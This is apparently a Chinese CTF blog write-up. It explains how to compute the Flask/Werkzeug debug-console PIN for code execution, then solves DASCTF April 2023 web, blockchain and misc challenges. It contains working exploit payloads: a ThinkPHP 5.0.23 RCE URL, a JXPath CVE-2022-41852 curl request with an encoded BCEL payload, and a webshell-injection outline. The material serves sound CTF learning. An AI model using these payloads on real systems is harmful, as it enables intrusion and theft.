Flask调试模式PIN值计算和利用

这是一段简单的Flask代码

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

我们开启了调试模式,与此同时控制台输出

> python test.py
 * Serving Flask app 'test'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: XXX-XXX-XXX

访问”/”路由是正常的

但是我们还可以访问一个调试模式下的特殊路由,即使你没有设置过

填入上方控制台的PIN码即可执行Python命令

在计算PIN码之前,我们要知道,Flask的PIN码计算仅与werkzeug的debug模块有关。
与Python版本无关!!!
werkzeug低版本使用MD5,高版本使用SHA1,现在绝大多数都是高版本的利用
werkzeug1.0.x低版本
werkzeug2.1.x高版本
这里直接借用Pysnow的源码分析

# 前面导入库部分省略


# PIN有效时间,可以看到这里默认是一周时间
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

# 获取机器id
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""
        # !!!!!!!!
        # 获取machine-id或/proc/sys/kernel/random/boot_id
        # machine-id其实是机器绑定的一种id
        # boot-id是操作系统的引导id
        # docker容器里面可能没有machine-id
        # 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                # 这里进行的是字符串拼接
                linux += value
                break

        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
                # 获取docker的id
                # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
                # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
        except OSError:
            pass
        if linux:
            return linux

        # OS系统的
        {}

        # 下面是windows的获取方法,由于使用得不多,可以先不管
        if sys.platform == "win32":
            {}
    # 最终获取machine-id
    _machine_id = _generate()
    return _machine_id
# 总结一下,这个machine_id靠三个文件里面的内容拼接而成

class _ConsoleFrame:
    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:

    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    # 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
    # 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # 获取username的值通过getpass.getuser()
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # 此信息的存在只是为了使cookie在
    # 计算机,而不是作为一个安全功能。
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ] # 这里又多获取了两个值,appname和moddir
    # getattr(app, "__name__", type(app).__name__):appname,默认为Flask
    # getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,

    # 这个信息是为了让攻击者更难
    # 猜猜cookie的名字。它们不太可能被控制在任何地方
    # 在未经身份验证的调试页面中。
    private_bits = [str(uuid.getnode()), get_machine_id()]
    # 获取uuid和machine-id,通过uuid.getnode()获得
    h = hashlib.sha1()
    # 使用sha1算法,这是python高版本和低版本算pin的主要区别
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # 如果我们需要做一个大头针,我们就多放点盐,这样就不会
    # 以相同的值结束并生成9位数字
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    # 这就是主要的pin算法,脚本可以直接照抄这部分代码
    return rv, cookie_name

生成条件

probably_public_bits

有如下四个变量:

username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
-----------------------------------
username:通过/etc/passwd这个文件去猜
modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

private_bits

有如下三个变量:

uuid
machine-id

-----------------------------------
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过**三个文件**里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

之前做题的时候被别人博客关于machine-id的部分误导了,重要的部分我在上面都打上了星号,有些docker机器是存在12这两个文件的,例如某些k8s的CTF靶场

最后把上面的信息结合下,用下面两个脚本可以算出PIN值

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#/etc/passwd
    'flask.app',#默认值
    'Flask',#默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到
]

private_bits = [
    '2485377568585',/sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    #看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

题目就不复现了,2023/7月的DAS,es_flask就是简单的原型链污染,但是这个flask折磨了很久,没有吃透源码被博客坑惨了
只要有任意文件读+Flask的调试模式就可以做

参考资料

Pysnow-https://pysnow.cn/archives/170/

DASCTF Apr.2023 X SU战队2023开局之战

Web

pdf_converte

这题一开始有非预期解,只要进入下发附件目录,查看changelogs即可发现该版本为“最新的”Thinkphp5.0.23

┌──(root㉿hz2016-rogx)-[~]
└─# searchsploit thinkphp 5.0.23
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution                                        | php/webapps/45978.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

搜索得到相应EXP,修改一下相应指令即可获取flag

http://<URL>/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=php%20-r%20%27system(%22cat%20/flag%22);%27

pdf_converter_revenge

然而,很快就修复了这个非预期解,并以一道新题目上新

“`dompdf/src/FontMetrics.php“`文件名可控
通过“`exploit_norml_md5(data:text/plain;base64,exp).ttf“`打exp
后面会校验font.ttf文件头。需要将一个ttf文件拼接一下

你听说过 js 的 webshell 吗

首先,我先喷一句(已经没有记忆/没有痕迹了,可能喷错,喷错评论叫我改推文),你公告自己写着不用使用扫描器,然而WP里面直接给我来了句使用dirsearch扫描
然后,搁着不引入字典就不算扫描了是吧。

TODO:字典
在泄露的app.js中可以看到route/api的就几个js文件
尝试获取源代码

https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

发现了API注册逻辑
读取API源码

https://127.0.0.1/api/v2/coding/versionList.js
#同时也获取到后端代理源码
http://127.0.0.1/request/coding.js

获取到openapi的token,参考文档文档 https://coding.net/help/openapi
将仓库clone下来,通过v3的APIhttps://127.0.0.1/v3/UpdateAllProduct注入webshell
后面就是垃圾东西了,没有必要看,吐槽一下现在的CTF,题目是难了,但是不是那种有意思的难,存粹一步一步套娃,复现都恶心了。

ezjxpath

jxpath有cve-2022-41852
不会也没看到wp,先把wp放着了

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 6096' -H $'cmd: cat /flag' \
    --data-binary $'query=runMain%28com.sun.org.apache.bcel.internal.util.JavaWrapper.new%28%29%2C%22%24%24BCEL%24%24%24l%248b%24I%24A%24A%24A%24A%24A%24A%24A%248dV%24c9w%24d3F%24Y%24ffMb%245b%24b2%24y%24g%24e2%24E%2482%24d8w%249c%2440%24ecR%24ba%2440%24C%2494%2490%24Q%24a08%2481b%24m%2485P%2440Q%2486D%24c4%2496%248c%24q%24t%24a1%24fbBw%24ba%24aft%24a1%24x%24a5%24eb%24a1%24X%24c3%2483G%24l%24e7%24k%24fb%245e%24P%24fd%24T%24faz%24e8%24b5%2487%243e%24dao%24q%249b%24d8%24c4%24b4%24f5a4%24f3%24ad%24bf%24f9%24b6%24f1O%24d7%24_%24ff%24I%24e0N%247c%24af%24m%248a%24fd%24K%24O%2460%2440%24y%24P%24c88%24a8%24e0%24Q%24Ge%24i%2496%24f0%24a0%24C%24JG%24q%24iUp%24M%24ba%248c%24n%24Z%2486%248ca%24Z%245cF%24b7%24e0%24j%24971%24o%24a3G%24c2%24a8%24900e%24f4%24ca8%24a1%2460%24MY%24FM%24c8%24c9%24b0%24c4%24d7%2496%2491%2497qRl%24j%24Z%24ae%24MOFA%24c6%24b8p%243d%24ncR%24c2%24v%24F%24P%24e1a%24b1%243c%24a2%24e0Q%243c%24a6%24609%24k%2497%24f1%2484%24f8%243e%24v%2496%24a7d%243c%24z%24e3%24b4%2484g%24Y%24o%24hM%24cb%24f463%24d4%24tZ%24P0%2484%24ba%24eda%24ce%24d0%24906%24z%24de_%24c8%24Nqg%249f%243e%2494%24rJ%243cm%24hz%24f6%2480%24ee%2498%24e2%245c%24o%2486%24bcQ%24d3ehL%24Pq%24p%249b%24ca%24e4%24j%24d3%24g%24d96nf%243b%24Z%24c2Gs%24bai1%24ccN%24M%24a6O%24e8%24e3z%24w%24ab%245b%24p%24a9%248c%24tD%243a%247dO%24ba32%24ce%24d0T%2483%24cd%24c0%24Mau%248a%24d1%249d%24d5%245dW%24d0s%24Ms%24x%24e8%24O%243f%249e%24e5%2486%2497%24ea%24e3%24de%24a8%243d%24y%24El%24BuJ%2460%24f7%24d0%24J%24e2%24T%24a3%24%24%24b7%2496%247c%243a%24dc%24cd%24d3U%24j%247e%2492%24n%243a%24c2%24bd%24B%24c7%24f4%24b8%24T%24ecwp%247dX%24ec%24p%24T%24rb%24bd%2491%24h%24ae%24b6v%24D%249fl%24d8%24b9%249cn%24N%24d3%24e5c%24c6%24a8%24ee%24b8%24dc%24eb%24d7s%24U%2491%24Z%24ZO7%24c6%24fa%24f4%24bc%24l%24n%24J%24h%24u%24ef%24S%249e%24a5%24acSZ%24Z%2494m%2493%24G%24cf%247b%24a6m%24b9%24S%249ec%2498%24Z%24A%24df%24a3%243b%24a4MN%24c9%249e%2492%24b1%24L%248e%24c1%247bM%24R%24e0%2486%24a9%2498%24s%24F%24M%24V%24v%24dc%24%24%24e1y%24V%24_%24e0E%24V%24_%24e1%24M%24c3F%24db%24ZI%24ba%24be%24dcqaf%24c2v%24c6%2492%24T%247c%24ui%24d8%2496%24c7%24t%24bd%24q%24dd%24b6%24c0%245d%24_%24b97%24f8v%24H%24e4%24jv%2496%24ae%24x%24e1e%24V%24af%24e0U%2486f%24KAI%24a2%24cb%24a3%247b%24O%24V%243cNp%24gnJ%2482%248a%24d7%24f0%243a%24B%24bf9%24c4tI%24Vo%24e0M%2486%24z%24ff%24XO%2486%243b%24e3%24d9%249aNc%243e%24W7Oa%24a2%24m%24uS%24c8%24Y%24W%24I%24c7%2493I7%24d0%249d%24b2%24R%24I%24abxK%24a0%245bQ%24z4%24eay%24f9%24e4%24OZ%24aa%243dV%24dd%24oH%24ad%248a%24b7%24f1%24O%2483d%24bbI%248b%24a0KxW%24c5%247b8%24ab%24e2%247d%247c%24m%24w%24c3%24b4%2486%24ed%24J%24V%24l%24e2%24p%24w%248f%24ed%245bwQ%249d%24ef%24df%24d7%24db%24be%245e%24c59%24nP%243f%24b0%24b3%249fJ%24zE%24d5%24x%24a5%2486L%24x%24e5R%24ce%24eb%24da%24N%24V%24l%24e3%24T%24a2%2489%24a0xY%24ea%248aF%24dfq%24c13%24a9k%24M%24dd%24b2D%24o%243eU%24f1%24Z%243eW%24f1%24F%24ceK%24f8R%24c5%24F%247c%24r%24d2%24fd5Y8%24dc%24a5%24e2%24h%247c%24ab%24e2%243b%24e1%24r%247c%243c%245b%24Q%2486%24c3F%24d6%24W%24f1i%24b8%24a9%24fb%24Y%24e6%24dc%24aaC%24a8%24df%24a6X7j%24b1%24w%24Q%24fbF%24jj%24E%24aad%24a3%24e08%24dc%24f2%24ca%24e7%24e6Dk%24faf%24v%24ea%2484Y%2494%249cRE%24f9%24f5%2491%24b6%2483%24%24%24d2%24aa%24c4%24xXB%24a7%24s%2483%24ba0K%24h%249fB%24vL%24d4%24Y%24h5%24s%2482%24e8%24dc%24f2%24dd%24b6%24d4%24d0%24Z%249c%24a6%24d3%24fao%24f3%24pbZ%24e3%24f6%24Y%24FuCb%24fa%24U%24Z%249cNj%24ad5k%24g%24JS%24P%24e5Dw%24f8p%24Z%24db%24M%24g%24R%245d%2486%24c1%245d%24d7%24MFg%24e2%2490%2498%2482%2495%24Vx%24ca%24f5x%24%24%24u%24fe%243d%248e%249d%24e7%248ew%248aa%24e5%247f%24c4%24e1%24c6H%248ayv%24da%249e%24e0N%24b7%24%24j%24a2%243a%245b%2495s%24cb%24f2h%24%24S%2480%24e7U%24g%24ee%24a6%24Z%2496%24R%245da%24Z%24bc%24b3%24f5%2490om%247f%243e_%24b6%24s%248b%24q%24Hyi%249a%249e%24d7%24cer%243d%24fb%24a4%24bd%24F%24cb3s%24e5%24b6%24z%24lfU%24a9%2495%24c8%24a4%24Y%24e2%2493%249c%24ba%24rQ%24f3%2495%24a8%24mQ%2440D%24ec%24aa%245d%2495%2488%24M%24b7%2491%24ab%249dV%24be%24e0%2491%24s%24d7%24v%2486%24zew%24a6%249d%24aa%2460%2490z%245b%24a2%24s%24a3%24f6%24h%24a5%24W%245c%24de%24c3%24b3f%24%24x%24QV%24dd%243a%24X%2495%24ad%24y%24aeeQ%243f%2460%24J%2492%24f4%24u%248b_%24j%2498%2498%24dc%24b4%24ae%24a5S%248a%24be%248c%24be%24e1%24b6%248b%2460%243f%24f8%24ec%243bh%248d%24f8D%24V%24eb%24fc%24d5%24X%24a0%24ff%24Uw%24d17%248a%24bbq%24P%24ea%2485r%24dd%24V%243a%24cd%24A%24d8%24c4%24r%24d4%24VQ%24l%24P%24V%24RN%24af%248eG%24ea%24afB%24wB%24ee%245b%24c3h%24X%24zB%24e9%24_%24J%24c4%24C%24B%24b5%24y%24b0%243a%243e%24a3%24b4%24ed%24I%24adi%24_%24Jw%2484%24b5%24d0%248d%247d%24a4%24a4y%24hi%24c6%24h%24C%24e1%2499%24jR%2489%24da%24u%24a8%24f1%24QQ%24P%24d6%24c7%249b2%2482%24rk2%24c1h%24d6%24a4%2460%24d5%24c2eKQM%24d6%24o%24q%24g%24r%24d1Y%24q%24aa%245cCS%2487%24S%24b9Jk%24y%243e%24fb%24SZ%248a%2498%24T%24d7%248a%2498%247b%24Wr%247c%24de%24F2%243c%24bfC%24z1%24W%24c4%24X%24fa%248c%24b8%24W%24T%24caZ%24y%24U_%2494%24b9%2480%24Gq%245c%24ec%24l%2497%24d0%24g%24d6%2494%248cF%24be%2496%24c6%2497UB%24d2%24a2%2481%24d7%24xX%247e%24f0%24SVh%24U%2484%2495E%24ac%24d2%24d4%248bH%24c4%245b%248bh%24xb%24b5%24c03%24Q%24e8%24ae%24v%245dR%248b%2496%2490%2497%24e8%24ed%24d3%24e8%24o%245d%24f5%247e%24baN%2460%24%24%24adqJU%24TZ%24d0L%24d9%249e%2485v%24cc%24c6z%243a%24f5%2460%24OvC%24c3%24m%24c9%249c%24c4%243c%249c%24c1%247cz%24i%24X%24d0%245b%24b2%24Q%24e7%24b1%24I%2497I%24fa%24g%2496%24e2W%24y%24c3o%24f4%248f%24ec%24P%24ac%24c0%249fX%2485%24ebH%24b0%24Q%24da%2498%2482%24d5%24ac%24Xk%24d8%24R%24b4%24b3q%24aa%24oQ%24S%24a7%2483%24b4%2493%24fd%24N%24a2%2440%24d8%24Y%243a%24d0Ie%24d2%24c2%248ea%24p6Q%24R%24za%24H%24b0%24Z%24f7%24S%24be%24k%24b6%24O%245b%2488%24W%24c2n%2496%2440%24X%24d1%24c2%24Yd%24f3%24b1%2495v%24R%249cd%24Rt%24TW%24o%245c%24bf%24T%24d6M%2490%24J%24d5%24cf%24d8F%24dc%24ua%24bb%248a%245el%2487B%24I%24_b%24Hy%248b%24R%24ces%24d8I4%24V%24f7%2491%24ef%24f5%24I%24fd%248d_%24a0J%24d8%24r%24n%24z%24a1OB%247fy%24N6%24c1%247e7%24J%24A%245d%24b4%24f9%24L%248bi%248da%24Pi%2487%24I%24f3%24fd%24d8%24x%24ca%249b%2491%24v%24ba%24T2%247e%24P%24ec%24fb%24H%245e%24c7%248a%249fH%24L%24A%24A%22%2C%27%27%29' \
    $'http://127.0.0.1:8080/hack'

Blockchain

到国链之光一游

这题其实很新手,不过我对区块链一无所知,所以折腾了很久
首先题目给了一个部署在测试网的合同https://evmtestnet.confluxscan.io/address/0xEFEc01486FB7C8919be70f2c5333FD77326F65E2
我原本使用的是MetaMask但是好像没有Conflux eSpace (Testnet)测试网络的预设,要自己设置RPC等,所以后面改用了Fluent
查看合同,具体代码有所删减,只保留一部分

contract SignIn {
    address public owner;
    bytes32 private key;
    modifier onlyOwner() {
        require(tx.origin == owner);
        _;
    }
    constructor() {
        owner = tx.origin;
        key = keccak256(abi.encodePacked(block.timestamp));
    }
    function getFlag(bytes32 _key) external onlyOwner {//我需要是这个合同的owner
        require(_key == key);//并且需要计算得出这个合同的key
        greeter.getFlag();
    }
}
contract Greeter {
    event CaptureTheFlag(address indexed player);//触发这个
    mapping(address => bool) SignIn_Deployed;
    modifier onlySignIn() {//权限校验
        require(SignIn_Deployed[msg.sender]);
        _;
    }
    function startChallenge() external returns (address) {
        address _SignInAddress = address(new SignIn());//这里的new即创建了一个新的合约
        SignIn_Deployed[_SignInAddress] = true;//并且把新合约的地址设置为可以访问getFlag
        emit StartChallenge(_SignInAddress);
        return _SignInAddress;
    }
    function getFlag() external onlySignIn {//这里的onlySignIn即权限校验
        SignIn_Deployed[msg.sender] = false;
        emit CaptureTheFlag(tx.origin);//调用这个函数触发
    }
}

原本没有理解区块链的意义,导致绕了好久,还得是qsdz
TODO:qsdztql
首先我们要明白我们的目标,即触发
“`CaptureTheFlag“`事件,只能通过“`SignIn“`合约来完成,因为设置了函数调用权限。首先调用“`Greeter“`合约的“`startChallenge()“`函数创建出自己的“`SignIn“`合约,通过区块链浏览器查看“`SignIn“`合约的地址,计算变量“`key“`的值,最后调用“`SignIn“`合约的“`getFlag“`函数触发事件
上面的操作均可以使用区块链浏览器进行操作,计算key的方法不知道
我借助[Remix https://remix.ethereum.org](https://remix.ethereum.org)并新建一个合同

pragma solidity 0.8.19;
contract KeyMaker {
    function getKey(int timestamp) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(timestamp));
    }
}

编译并且部署合同

将为自己生成的合同的timestamp转换成int填进去,即可得到最后需要的key,要注意一下时区不要搞错了

最后写getFlag合同即可。
但是其实这个方法也有点问题,因为区块链是所有信息都是公开的,我们根本不需要自己计算这个hash值(只是confluxscan这个区块链浏览器不显示罢了)
有大哥写了一个相关的操作库Poseidon,可以操作区块链,解决一些密码学/工作量证明问题。

# 脚本来自官方WP
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
# 连接至链
chain = Chain("https://evmtestnet.confluxrpc.com")
# 导入账户
account = Account(chain, "<PrivateKey>")
# 切换 solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.19")
# 编译 Greeter 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "Greeter")
# 合约实例化
contract = Contract(account, "<GreeterAddress>", abi)
# 调用 startChallenge 函数
contract.CallFunction("startChallenge")
# 以下部分的<SignInAddress>需要先通过区块链浏览器获取到合约地址并填入,这里只是为了方便展示而放在一起
# 编译 SignIn 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "SignIn")
# 合约实例化
contract = Contract(account, "<SignInAddress>", abi)
# 读取存储插槽 slot 6 的值(key的值)
key = chain.GetStorage("<SignInAddress>", 6)
#print(Chain.DumpStorage("<SignInAddress>", Count)
# 调用 getFlag 函数,触发 CaptureTheFlag 事件
contract.CallFunction("getFlag", key)

同时这题的ProofOfWork又有新东西没见过,这个脚本都写了好一段时间,结果这个库也有(纯逆天……不好评价)

from Poseidon.PoW import PoWUtils
Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("<ServerIP>", 20000, "sha256(", " + ???)", 3, 10, "??? = ")
Connection.interactive()

顺便附上一段自己写了半天的代码

import os
import pwn
import time
import sqlite3
import string
import hashlib
import itertools
class Violent:
    def getid(self, target1,target2):
        d = string.ascii_letters + string.digits
        for i in itertools.product(d,repeat=3):
            target = target1+"".join(i)
            hash_hex = hashlib.sha256(target.encode()).digest()
            hash_bin_str = ''.join(format(byte, '08b') for byte in hash_hex)
            if hash_bin_str.endswith(target2):
                return target
vio = Violent()
print(vio.getid("<HASHCODE>","<ENDWITH>"))

Misc

Ge9ian’s Girl

清除格式发现隐藏的大小不一的字符,即替换为类似的字母(Unicode同形文字)。
为Twitter Secret Messages
解密网站
1. https://holloway.nz/steg/
解密即得压缩包密钥

result = b''
for i in range(1, 521):
    filename = f'two/{i}.txt'
    with open(filename, 'rb') as f:
        data = f.read()
    result += data
with open('result.jpg', 'wb') as f:
    f.write(bytes.fromhex('FFD8FF') + result)

将文件拼接并补上jpg头
“`FF D8 FF“`,发现备注得到密码“`Ge9ian“`和“我们的密码”oursecret,解密即可
我也是看WP才知道是Oursecret加密,借用[d3f4u1t’s blog](https://superfengi.github.io/2023/04/22/das-su/)的图片
[![](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)
Oursecret加密存在“`ž—º*“`可以进行判断

secret of bkfish

foremost可以分理出两张照片,第二张照片有lsb,提取字节与255(双精度取反)异或

msg = 'bbbeacbcabb98488bacebc9092baa08bcfa0bbbe8c9cc899a087a0ac8aa0a09e8f8d96ce82'
msg = bytes.fromhex(msg)
s = []
for i in msg:
    s.append(i ^ 255)
bytes(s)

然而官方wp有一个SSuite Picsel,可以用两张图片隐写在一起

7里香

在线编解码:https://yuanfux.github.io/zero-width-web/
得到密文

This is not only a hint, but also a keyfile.

压缩包密码不懂,2分10秒找不出东西
结合倒放,反过来看veracrypt,猜测使用veracrypt加密
直接爆破出两个密码,压缩包为套娃,编写脚本交替解压
脚本为官方WP

#!/bin/bash
#初始密码
password="J4y"
#压缩文件名
file="210.zip"
#循环210次,每次解密和解压缩
for i in {210..1}
do
  #解密文件
  unzip -qq -P "$password" "$file"
  #更新文件名和密码
  file="Si.zip"
  if(($i%2=1))
  then
    password="Jay"
  else
    password="J4y"
  fi
done
#解压最后一层压缩包
unzip -qq -P "$password" "$file"
#输出解压后的文件名
echo "解压后的文件名:$(basename "$file".Zip)"

密码为歌曲名拼音,在线转http://www.aies.cn/pinyin.htm
用VeraCrypt(PassWare)对mp3进行解密,最终尝试得到密码为geqian
40.bmp中发现头FFFF4944FFFF3304,为MP3格式,每两个字节插⼊MP3⽂件的两个字节,提取出来

with open('40.bmp', 'rb') as f:
    data = f.read()
with open('123.mp3', 'wb') as f:
    f.write(b''.join([data[i:i+2] for i in range(0, len(data), 4)]))

二进制发现base64,解码即可
PS:后来看到别的师傅的WP好像有一个这样的软件好用